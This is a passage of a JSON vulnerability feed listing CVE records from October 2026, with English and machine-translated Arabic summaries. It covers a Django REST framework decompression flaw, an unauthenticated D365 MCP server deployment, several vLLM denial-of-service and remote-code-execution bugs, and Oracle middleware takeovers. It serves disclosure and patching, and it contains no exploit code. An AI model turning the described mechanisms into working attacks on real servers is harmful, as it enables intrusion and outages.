(https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/8.5.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation."},"refs":[["https://advisory.splunk.com/advisories/SVD-2026-1010","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"splunk-soar"},{"id":"CVE-2026-114136","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-409","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-21T20:17:25Z","product":"encode django-rest-framework","affected":[],"title":{"en":"Django REST framework: JSONParser applies an attacker-named codec to the request stream","ar":"إطار عمل Django REST: تطبيق JSONParser لترميز مسار الطلب المُسمّى من قبل المهاجم"},"summary":{"en":"Django REST framework is a toolkit for building Web APIs. From 3.6.4 until 3.18.2, JSONParser.parse in rest_framework/parsers.py uses the client-supplied Content-Type charset value with codecs.getreader, which accepts byte-transform codecs such as bz2_codec rather than only text encodings. A remote unauthenticated client can therefore cause a compressed JSON request body to be expanded after Django has enforced DATA_UPLOAD_MAX_MEMORY_SIZE against only the wire bytes, allowing a very small request to consume substantial per-worker memory. The default parser set is sufficient, and any reachable endpoint that accepts a JSON body is affected. This issue is fixed in version 3.18.2.","ar":"إطار عمل Django REST هو مجموعة أدوات لبناء واجهات برمجة تطبيقات الويب. من الإصدار 3.6.4 حتى 3.18.2، يستخدم JSONParser.parse في rest_framework/parsers.py قيمة مجموعة الأحرف Content-Type المُقدمة من العميل مع codecs.getreader، والتي تقبل ترميزات تحويل البايتات مثل bz2_codec بدلاً من ترميزات النصوص فقط. وعليه، يمكن لعميل عن بُعد دون مصادقة التسبب في توسيع جسم طلب JSON مضغوط بعد أن فرضت Django حد DATA_UPLOAD_MAX_MEMORY_SIZE على بايتات الشبكة فقط، مما يسمح لطلب صغير جدًا باستهلاك مساحة ذاكرة كبيرة لكل عامل. تعتبر مجموعة المحللات الافتراضية كافية، وتتأثر أي نقطة نهاية يمكن الوصول إليها وتقبل جسم JSON. تم إصلاح هذه المشكلة في الإصدار 3.18.2."},"refs":[["https://github.com/encode/django-rest-framework/commit/3c2634599b26a9f789b03045118dbc276117611a","ref"],["https://github.com/encode/django-rest-framework/releases/tag/3.18.2","ref"],["https://github.com/encode/django-rest-framework/security/advisories/GHSA-3547-9m27-7rxg","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"encode-django-rest-framework"},{"id":"CVE-2026-114123","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-306","tags":["Cloud"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-21T17:18:25Z","product":"dynamics365ninja d365fo-mcp-server","affected":[],"title":{"en":"D365 F&O MCP Server: Official Azure one-click deployment ships with authentication disabled by default, exposing proprietary X++ source over the public internet","ar":"خادم D365 F&O MCP: النشر الرسمي بنقرة واحدة على Azure يأتي مع تعطيل المصادقة افتراضيًا، مما يكشف شيفرة X++ المصدرية الخاصة عبر الإنترنت العام"},"summary":{"en":"D365 F&O MCP Server is a Model Context Protocol server for querying Dynamics 365 Finance & Operations X++ code and metadata. Prior to version 1.11.0, the officially documented Azure one-click deployment uses infrastructure/azuredeploy.json and infrastructure/main.bicep to default the apiKey parameter to an empty string and pass it to the App Service API_KEY setting. With API_KEY unset or empty, src/middleware/apiKeyAuth.ts passes requests through without authentication, while src/index.ts binds the HTTP listener to 0.0.0.0 by default. If the deployer leaves the optional key blank and does not add separate network restrictions or upstream authentication, the resulting public App Service allows unauthenticated JSON-RPC tools/call requests to /mcp. The deployment's MCP_SERVER_MODE=read-only setting does not prevent anonymous access to read/search tools, including search, get_object_info, batch_get_info, extension_info, security_info, find_references, and find_event_handlers, exposing indexed proprietary X++ source snippets and metadata. Exposed information can include business logic, extension and event-handler wiring, security-role and privilege structure, and labels originally indexed from PackagesLocalDirectory. Deployments protected by a configured API key, effective upstream authentication, or network restrictions preventing attacker access are outside this unauthenticated exposure scenario. This issue is fixed in version 1.11.0.","ar":"خادم D365 F&O MCP هو خادم بروتوكول سياق النموذج للاستعلام عن كود وبيانات وصفية لـ X++ في Dynamics 365 Finance & Operations. قبل الإصدار 1.11.0، يستخدم النشر الرسمي الموثق بنقرة واحدة على Azure الملفين infrastructure/azuredeploy.json و infrastructure/main.bicep لجعل المعامل apiKey فارغًا افتراضيًا وتمريره إلى إعداد API_KEY لخدمة التطبيقات (App Service). مع ترك API_KEY غير محدد أو فارغ، يمرر src/middleware/apiKeyAuth.ts الطلبات دون مصادقة، بينما يربط src/index.ts مستمع HTTP بـ 0.0.0.0 افتراضيًا. إذا ترك القائم بالنشر المفتاح الاختياري فارغًا ولم يضف قيود شبكة منفصلة أو مصادقة من المنبع، فإن خدمة التطبيقات العامة الناتجة ستسمح بطلبات tools/call لـ JSON-RPC دون مصادقة إلى /mcp. لا يمنع إعداد MCP_SERVER_MODE=read-only الخاص بالنشر الوصول مجهول الهوية إلى أدوات القراءة/البحث، بما في ذلك search و get_object_info و batch_get_info و extension_info و security_info و find_references و find_event_handlers، مما يكشف مقتطفات شيفرة X++ المصدرية الخاصة والمفهرسة والبيانات الوصفية. يمكن أن تتضمن المعلومات المكشوفة منطق الأعمال، وتوصيلات الإضافات ومعالجات الأحداث، وهيكل أدوار الأمان والصلاحيات، والتسميات المفهرسة في الأصل من PackagesLocalDirectory. عمليات النشر المحمية بمفتاح API مُكوّن، أو مصادقة فعالة من المنبع، أو قيود شبكة تمنع وصول المهاجم، هي خارج سيناريو الكشف هذا الذي يتم دون مصادقة. تم إصلاح هذه المشكلة في الإصدار 1.11.0."},"refs":[["https://github.com/dynamics365ninja/d365fo-mcp-server/commit/384394a81e1c6c1e0149586203395240a38fc818","ref"],["https://github.com/dynamics365ninja/d365fo-mcp-server/commit/e70bd051f817ebb652d664b10a944fe2c5495de2","ref"],["https://github.com/dynamics365ninja/d365fo-mcp-server/releases/tag/v1.11.0","ref"],["https://github.com/dynamics365ninja/d365fo-mcp-server/security/advisories/GHSA-8764-fh3m-wf7g","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dynamics365ninja-d365fo-mcp-server"},{"id":"CVE-2026-114053","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-21T01:17:28Z","product":"Vllm Vllm","affected":[["0.7.3 – <0.31.0","0.31.0"]],"title":{"en":"vLLM from 0.7.3 before 0.31.0 forwards the request-supplied mm_processor_kwargs.code_revision to Transformers AutoProcessor.from_pretrained, letting c","ar":"ثغرة في vLLM من الإصدار 0.7.3 قبل 0.31.0 تقوم بتمرير mm_processor_kwargs.code_revision المقدم في الطلب إلى Transformers AutoProcessor.from_pretrained"},"summary":{"en":"vLLM from 0.7.3 before 0.31.0 forwards the request-supplied mm_processor_kwargs.code_revision to Transformers AutoProcessor.from_pretrained, letting clients select which revision of a model's dynamic processor code is imported when trust_remote_code is enabled. An attacker controlling a revision in the served model repository can send a multimodal request to the unauthenticated /tokenize endpoint to execute arbitrary Python in the vLLM API process.","ar":"يقوم vLLM من الإصدار 0.7.3 قبل 0.31.0 بتمرير mm_processor_kwargs.code_revision المقدم في الطلب إلى Transformers AutoProcessor.from_pretrained، مما يتيح للعملاء اختيار إصدار شيفرة المعالج الديناميكي للنموذج التي يتم استيرادها عندما يكون trust_remote_code مُمكّنًا. يمكن للمهاجم الذي يتحكم في الإصدار داخل مستودع النموذج المُخدّم إرسال طلب متعدد الوسائط إلى نقطة النهاية tokenize دون مصادقة لتنفيذ شيفرة Python عشوائية في عملية واجهة برمجة تطبيقات vLLM."},"refs":[["https://github.com/vllm-project/vllm/commit/570735520942b6428ae98f1eb442c6d88adae55e","patch"],["https://github.com/vllm-project/vllm/security/advisories/GHSA-h3rc-6mm3-gc2m","advisory"],["https://www.vulncheck.com/advisories/vllm-0.7.3-before-0.31.0-rce-via-mm-processor-kwargs-code-revision","advisory"]],"epss":0.0046,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"vllm"},{"id":"CVE-2026-114055","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-400","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-21T01:17:28Z","product":"Vllm Vllm","affected":[["0.7.3 – <0.31.0","0.31.0"]],"title":{"en":"vLLM from 0.7.3 before 0.31.0 contains an uncontrolled resource consumption vulnerability that allows remote clients to control multimodal processor p","ar":"تحتوي vLLM من الإصدار 0.7.3 قبل 0.31.0 على ثغرة استهلاك غير مسيطر عليه للموارد تسمح للعملاء عن بُعد بالتحكم في معلمات معالج الوسائط المتعددة"},"summary":{"en":"vLLM from 0.7.3 before 0.31.0 contains an uncontrolled resource consumption vulnerability that allows remote clients to control multimodal processor parameters by supplying per-request mm_processor_kwargs. Attackers can set large image size, patch count, crop count, or frame count values in Isaac, InternVL, H2OVL, and other processors to exhaust memory and terminate the shared server.","ar":"تحتوي vLLM من الإصدار 0.7.3 قبل 0.31.0 على ثغرة استهلاك غير مسيطر عليه للموارد تسمح للعملاء عن بُعد بالتحكم في معلمات معالج الوسائط المتعددة من خلال توفير mm_processor_kwargs لكل طلب. يمكن للمهاجمين تعيين قيم كبيرة لحجم الصورة، أو عدد التصحيحات، أو عدد القص، أو عدد الإطارات في معالجات Isaac و InternVL و H2OVL وغيرها لاستنفاد الذاكرة وإنهاء الخادم المشترك."},"refs":[["https://github.com/vllm-project/vllm/security/advisories/GHSA-gx7p-2j49-hfq4","advisory"],["https://www.vulncheck.com/advisories/vllm-0.7.3-before-0.31.0-dos-via-unvalidated-mm-processor-kwargs","advisory"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"vllm"},{"id":"CVE-2026-114050","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-345","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-21T01:17:27Z","product":"Vllm Vllm","affected":[[" – <0.31.0","0.31.0"]],"title":{"en":"vLLM before 0.31.0 uses a client-supplied multimodal uuid verbatim as cache identity with no consistency check on cache hits, allowing engine crashes.","ar":"تستخدِم vLLM قبل الإصدار 0.31.0 معرّفاً فريداً للوسائط المتعددة (uuid) مقدماً من العميل حرفياً كمعرف لذاكرة التخزين المؤقت دون التحقق من التوافق عند الوصول إليها، مما يسمح بتعطل المحرك."},"summary":{"en":"vLLM before 0.31.0 uses a client-supplied multimodal uuid verbatim as cache identity with no consistency check on cache hits, allowing engine crashes. Unauthenticated attackers can desynchronize the P0/P1 processor caches to trigger a fatal token-placeholder mismatch, killing the entire serving instance until restarted.","ar":"تستخدِم vLLM قبل الإصدار 0.31.0 معرّفاً فريداً للوسائط المتعددة (uuid) مقدماً من العميل حرفياً كمعرف لذاكرة التخزين المؤقت دون التحقق من التوافق عند الوصول إليها، مما يسمح بتعطل المحرك. يمكن لمهاجمين دون مصادقة إحداث عدم تزامن في ذاكرات التخزين المؤقت للمعالج P0/P1 لتشغيل عدم تطابق قاتل بين الرمز والعنصر النائب، مما يؤدي إلى إنهاء مثيل الخادم بالكامل حتى يتم إعادة تشغيله."},"refs":[["https://github.com/vllm-project/vllm/security/advisories/GHSA-p92p-rxj5-7p2x","advisory"],["https://www.vulncheck.com/advisories/vllm-before-0.31.0-remote-engine-crash-via-forged-multimodal-uuid","advisory"]],"epss":0.002,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"vllm"},{"id":"CVE-2026-114051","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-248","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-21T01:17:27Z","product":"Vllm Vllm","affected":[[" – <0.31.0","0.31.0"]],"title":{"en":"vLLM before 0.31.0 skips the min_tokens <= max_tokens check for /inference/v1/generate requests with a null max_tokens, so the EngineCore input thread","ar":"تتخلى vLLM قبل الإصدار 0.31.0 عن التحقق من min_tokens <= max_tokens لطلبات /inference/v1/generate مع قيمة max_tokens فارغة، بحيث يموت خيط إدخال EngineCore لاحقاً"},"summary":{"en":"vLLM before 0.31.0 skips the min_tokens <= max_tokens check for /inference/v1/generate requests with a null max_tokens, so the EngineCore input thread later dies on an uncaught VLLMValidationError while /health still returns 200. Unauthenticated remote attackers can send one request with an oversized min_tokens to hang all subsequent generation requests until manual restart.","ar":"تتخلى vLLM قبل الإصدار 0.31.0 عن التحقق من min_tokens <= max_tokens لطلبات /inference/v1/generate مع قيمة max_tokens فارغة، بحيث يموت خيط إدخال EngineCore لاحقاً بسبب خطأ VLLMValidationError غير مُلتقط بينما يظل /health يعيد الرمز 200. يمكن لمهاجمين عن بُعد دون مصادقة إرسال طلب واحد بقيمة min_tokens مفرطة الحجم لتجميد جميع طلبات التوليد اللاحقة حتى يتم إجراء إعادة تشغيل يدوية."},"refs":[["https://github.com/vllm-project/vllm/security/advisories/GHSA-4xqp-c3mv-qff7","advisory"],["https://www.vulncheck.com/advisories/vllm-before-0.31.0-denial-of-service-via-min-tokens-in-inference-v1-generate","advisory"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"vllm"},{"id":"CVE-2026-114052","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-21T01:17:27Z","product":"Vllm Vllm","affected":[["0.24.0 – <0.31.0","0.31.0"]],"title":{"en":"vLLM after 0.24.0 and before 0.31.0 contains a memory exhaustion vulnerability in MOSS-Audio model serving that caches a processor for every distinct ","ar":"تحتوي vLLM بعد الإصدار 0.24.0 وقبل 0.31.0 على ثغرة استنفاد الذاكرة في خدمة نموذج MOSS-Audio التي تخزن مؤقتاً معالجاً لكل قيمة مميزة لـ mm_processor_kwargs يتحكم بها الطلب"},"summary":{"en":"vLLM after 0.24.0 and before 0.31.0 contains a memory exhaustion vulnerability in MOSS-Audio model serving that caches a processor for every distinct request-controlled mm_processor_kwargs value in an unbounded dictionary. Unauthenticated attackers can send distinct or oversized mel_config values to the /tokenize endpoint, which bypasses --api-key, to exhaust host memory and crash the API process.","ar":"تحتوي vLLM بعد الإصدار 0.24.0 وقبل 0.31.0 على ثغرة استنفاد الذاكرة في خدمة نموذج MOSS-Audio التي تخزن مؤقتاً معالجاً لكل قيمة مميزة لـ mm_processor_kwargs يتحكم بها الطلب في قاموس غير محدود. يمكن لمهاجمين دون مصادقة إرسال قيم mel_config مميزة أو مفرطة الحجم إلى نقطة النهاية /tokenize، مما يتجاوز --api-key، لاستنفاد ذاكرة المضيف وتَعطُّل عملية واجهة برمجة التطبيقات."},"refs":[["https://github.com/vllm-project/vllm/security/advisories/GHSA-823j-m4cj-hmjf","advisory"],["https://www.vulncheck.com/advisories/vllm-0.25.0-before-0.31.0-moss-audio-memory-exhaustion-via-tokenize-mm-processor-kwargs","advisory"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"vllm"},{"id":"CVE-2026-91668","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:21:07Z","product":"Oracle Data Integrator","affected":[["12.2.1.4.0",null],["14.1.2.0.0",null]],"title":{"en":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Dictionary Repository).","ar":"ثغرة في منتج Oracle Data Integrator التابع لـ Oracle Fusion Middleware (المكون: Dictionary Repository)."},"summary":{"en":"Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Dictionary Repository). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Data Integrator. Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle Data Integrator التابع لـ Oracle Fusion Middleware (المكون: Dictionary Repository). الإصدارات المدعومة المتأثرة هي 12.2.1.4.0 و14.1.2.0.0. تتيح ثغرة سهلة الاستغلال لمهاجم يملك صلاحيات منخفضة مع إمكانية الوصول إلى الشبكة عبر SQL اختراق Oracle Data Integrator. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى الاستحواذ على Oracle Data Integrator. درجة الأساس حسب CVSS 3.1 هي 8.8 (تأثيرات على السرية والسلامة والتوافر). ناقل CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-data-integrator"},{"id":"CVE-2026-91495","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:54Z","product":"Oracle Webcenter Content","affected":[["12.2.1.4.0",null],["14.1.2.0.0",null]],"title":{"en":"Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server).","ar":"ثغرة في منتج Oracle WebCenter Content التابع لـ Oracle Fusion Middleware (المكون: Content Server)."},"summary":{"en":"Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle WebCenter Content التابع لـ Oracle Fusion Middleware (المكون: Content Server). الإصدارات المدعومة المتأثرة هي 12.2.1.4.0 و14.1.2.0.0. تتيح ثغرة سهلة الاستغلإل لمهاجم دون مصادقة يتمتع بإمكانية الوصول إلى الشبكة عبر بروتوكول HTTP اختراق Oracle WebCenter Content. يمكن أن تؤدي الهجمات الناجحة على هذه الثغرة إلى الاستحواذ الكامل على Oracle WebCenter Content. درجة الخطورة الأساسية حسب CVSS 3.1 هي 9.8 (تأثيرات على السرية والسلامة والتوافر). ناقل CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-webcenter-content"},{"id":"CVE-2026-91504","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-284","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:54Z","product":"Oracle Webcenter Content","affected":[["12.2.1.4.0",null],["14.1.2.0.0",null]],"title":{"en":"Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Portal Suite).","ar":"ثغرة في منتج Oracle WebCenter Content التابع لـ Oracle Fusion Middleware (المكون: Content Portal Suite)."},"summary":{"en":"Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Portal Suite). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Content. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Content. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle WebCenter Content التابع لـ Oracle Fusion Middleware (المكون: Content Portal Suite). الإصدارات المدعومة المتأثرة هي 12.2.1.4.0 و14.1.2.0.0. تتيح ثغرة صعبة الاستغلإل لمهاجم يملك صلاحيات منخفضة ويتمتع بإمكانية الوصول إلى الشبكة عبر بروتوكول HTTP اختراق Oracle WebCenter Content. يمكن أن تؤدي الهجمات الناجحة على هذه الثغرة إلى الاستحواذ الكامل على Oracle WebCenter Content. درجة الخطورة الأساسية حسب CVSS 3.1 هي 7.5 (تأثيرات على السرية والسلامة والتوافر). ناقل CVSS: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-webcenter-content"},{"id":"CVE-2026-91459","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:49Z","product":"Oracle Outside In Technology","affected":[["8.5.8",null]],"title":{"en":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).","ar":"ثغرة في منتج Oracle Outside In Technology التابع لـ Oracle Fusion Middleware (المكون: Outside In Image Export SDK)."},"summary":{"en":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK). The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle Outside In Technology التابع لـ Oracle Fusion Middleware (المكون: Outside In Image Export SDK). الإصدار المدعوم المتأثر هو 8.5.8. تتيح ثغرة سهلة الاستغلال لمهاجم دون مصادقة لديه إمكانية تسجيل الدخول إلى البنية التحتية حيث يتم تنفيذ Oracle Outside In Technology اختراق Oracle Outside In Technology. تتطلب الهجمات الناجحة تفاعلاً بشرياً من شخص آخر غير المهاجم. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى الاستحواذ على Oracle Outside In Technology. درجة الأساس حسب CVSS 3.1 هي 7.8 (تأثيرات على السرية والسلامة والتوافر). ناقل CVSS: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-outside-in-technology"},{"id":"CVE-2026-91460","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:49Z","product":"Oracle Outside In Technology","affected":[["8.5.8",null]],"title":{"en":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK).","ar":"ثغرة في منتج Oracle Outside In Technology التابع لـ Oracle Fusion Middleware (المكون: Outside In Image Export SDK)."},"summary":{"en":"Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Image Export SDK). The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle Outside In Technology التابع لـ Oracle Fusion Middleware (المكون: Outside In Image Export SDK). الإصدار المدعوم المتأثر هو 8.5.8. تتيح ثغرة سهلة الاستغلال لمهاجم دون مصادقة لديه إمكانية تسجيل الدخول إلى البنية التحتية حيث يتم تنفيذ Oracle Outside In Technology اختراق Oracle Outside In Technology. تتطلب الهجمات الناجحة تفاعلاً بشرياً من شخص آخر غير المهاجم. قد تؤدي الهجمات الناجحة لهذه الثغرة إلى الاستحواذ على Oracle Outside In Technology. درجة الأساس حسب CVSS 3.1 هي 7.8 (تأثيرات على السرية والسلامة والتوافر). ناقل CVSS: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-outside-in-technology"},{"id":"CVE-2026-91407","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:44Z","product":"Oracle Identity Manager","affected":[["12.2.1.4.0",null],["14.1.2.1.0",null]],"title":{"en":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices).","ar":"ثغرة في منتج Oracle Identity Manager من Oracle Fusion Middleware (المكون: REST WebServices)."},"summary":{"en":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: REST WebServices). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle Identity Manager من Oracle Fusion Middleware (المكون: REST WebServices). الإصدارات المدعومة المتأثرة هي 12.2.1.4.0 و 14.1.2.1.0. تتيح ثغرة قابلة للاستغلال بسهولة لمهاجم يملك صلاحيات منخفضة مع إمكانية الوصول إلى الشبكة عبر بروتوكول HTTP اختراق Oracle Identity Manager. الهجمات الناجحة لهذه الثغرة يمكن أن تؤدي إلى السيطرة على Oracle Identity Manager. درجة الأساس حسب CVSS 3.1 هي 8.8 (تأثيرات على السرية، السلامة، والتوافر). ناقل CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)."},"refs":[["https://www.oracle.com/security-alerts/cpuoct2026.html","advisory"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"oracle-identity-manager"},{"id":"CVE-2026-91408","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-20T22:20:44Z","product":"Oracle Identity Manager","affected":[["12.2.1.4.0",null],["14.1.2.1.0",null]],"title":{"en":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: End User Self Service).","ar":"ثغرة في منتج Oracle Identity Manager من Oracle Fusion Middleware (المكون: End User Self Service)."},"summary":{"en":"Vulnerability in the Oracle Identity Manager product of Oracle Fusion Middleware (component: End User Self Service). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle Identity Manager. Successful attacks of this vulnerability can result in takeover of Oracle Identity Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).","ar":"ثغرة في منتج Oracle Identity Manager من Oracle Fusion Middleware (المكون: End User Self Service). الإصدارات المدعومة المتأثرة هي 12.2.1.4.0 و 14.1.2.1.0. تتيح ثغرة قابلة للاستغلال بسهولة لمهاجم دون مصادقة مع إمكانية الوصول إلى الشبكة عبر بروتوكولات T3 و IIOP اختراق Oracle Identity Manager. الهجمات الناجحة لهذه الثغرة يمكن أن تؤدي إلى السيطرة على Oracle Identity Manager. درجة الأساس حسب CVSS 3.1 هي 9.8 (تأثيرات على السرية، السلامة، والتوافر). ناقل CVSS: 